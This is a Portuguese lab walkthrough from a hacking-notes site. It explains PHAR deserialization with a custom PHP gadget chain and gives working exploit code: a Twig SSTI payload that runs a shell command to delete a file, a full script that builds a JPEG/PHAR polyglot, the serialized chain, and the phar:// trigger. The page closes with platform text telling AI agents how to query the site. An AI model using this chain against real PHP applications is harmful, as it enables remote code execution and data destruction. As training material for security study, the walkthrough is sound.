> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/phar-deserialization-with-custom-chain.md).

# Desserialização PHAR com cadeia personalizada

### Usando desserialização PHAR para implantar uma cadeia de gadgets personalizada

Este laboratório faz **não** a desserialização clássica explícita. A ideia é **provocar** a desserialização explorando o comportamento do PHP com o wrapper **`phar://`**, para chegar a um **RCE** por meio de uma **cadeia de gadgets personalizada**, depois exclua:

* `/home/carlos/morale.txt`

Identificador fornecido:

* `wiener:peter`

<figure><img src="/files/77dc4f15bc32e13715397ba43748e1c66c059e83" alt=""><figcaption></figcaption></figure>

### (1) Marcação do lado da aplicação

#### Upload de avatar

Após autenticação, você pode **enviar um arquivo** por meio de uma consulta POST no recurso de avatar.1) Marcação do lado da aplicação

<figure><img src="/files/aa99b27f5e1a202d1d312f300a18c3bbed8aaeef" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/a41723cbd73291c14e09582848cac041fe859731" alt=""><figcaption></figcaption></figure>

Quando você clicar na imagem de perfil, acione o carregamento por meio de:

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="/files/e1a679193f483abd5e405dc290dc234ac7a6880e" alt=""><figcaption></figcaption></figure>

#### Arquivos legíveis em `/cgi-bin/`

Ao visitar `/cgi-bin/`, vários arquivos são **legíveis** (útil para recuperar o código e montar a string).

| Nome                  | Tamanho |
| --------------------- | ------- |
| CustomTemplate.php    | 1091B   |
| CustomTemplate.php/\~ | 0B      |
| Blog.php              | 628B    |
| Blog.php/\~           | 0B      |
| avatar.php            | 540B    |

<figure><img src="/files/e5e1a337d16caa0b32f3e6daaa94fb669474a312" alt=""><figcaption></figcaption></figure>

#### 2) Código-fonte recuperado

#### `blog.php`

Existe um `Blog` classe que inicializa o Twig em `__wakeup()`:

* `__sleep()` serializa `usuário` e `desc`
* `__wakeup()` constrói um `Twig_Environment` com um template baseado em `desc`
* `__toString()` renderiza `index` e injeta `usuário`

Ponto importante: `desc` se torna diretamente um **template Twig**, então pode ser usado para atingir **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

O `CustomTemplate` a classe contém:

* um `$template_file_path` campo privado
* um `__destruct()` destrutor que faz:
* `@unlink($this->lockFilePath());`

`lockFilePath()` constrói:

* `'templates/' . $this->template_file_path . '.lock'`

Então, se controlarmos `template_file_path` com um objeto que se converte em string, podemos influenciar o caminho usado por `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Não foi possível gravar em " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Não foi possível gravar em " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos achou que isso seria uma boa ideia
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3) Carga útil do Twig (SSTI → Exec)

Carga útil Twig usada:

Objetivo: executar `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4) Estratégia de operação: PHAR poliglota

O desafio: o upload espera um **image**. / Solução: criar um **poliglota** arquivo:

* válido como **JPEG**
* mas contendo um **PHAR** (formato tar/phar) com **metadados** serializado

Por que funciona?

* Quando o PHP abre um recurso por meio de `phar://...`, ele pode acionar a leitura do manifesto PHAR e **desserializar metadados** (então execute `__wakeup`, `__destruct`, etc. dependendo da string).

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remover <?php não funciona com prefixo
    $len = strlen($phar) + 2; // fixo
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calcula checksum do tar
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // incorpora checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// classe de exploração pop
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// configuração para jpg
$tempname = 'temp.tar.phar'; // fazer ser tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// fazer jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// configuração para gif
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // cabeçalho gif, tamanho 300 x 300
$tempname = 'temp.phar'; // fazer ser phar
$outfile = 'out.gif';

// fazer gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5) Cadeia de gadgets construída

Você cria:

* um `Blog` objeto com:
* `user = "pwned"`
* `desc = <carga útil SSTI do Twig>`
* então você coloca esse objeto em `CustomTemplate->template_file_path`

Assim, quando `CustomTemplate` é destruído, `lockFilePath()` vai concatenar um valor de um objeto, o que força uma conversão para string → chama `Blog::__toString()` → aciona `twig->render()` → interpreta `desc` → executa o comando.

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="/files/d9acc8441b68e88f5528502830f4e9e4e5f55a69" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}";}}"
```

{% endcode %}

* Envie `out.jpg` como avatar

<figure><img src="/files/258706100c352bfadd68f59532368c4e83181d23" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bf453661d2b9374fcbf3ab08c1c0aa1f8939ea9e" alt=""><figcaption></figcaption></figure>

Chamada de recurso por meio de `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

Nesse momento, a aplicação abre o recurso com o wrapper PHAR, os metadados são desserializados, a string é acionada e o arquivo:

* `/home/carlos/morale.txt`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/phar-deserialization-with-custom-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
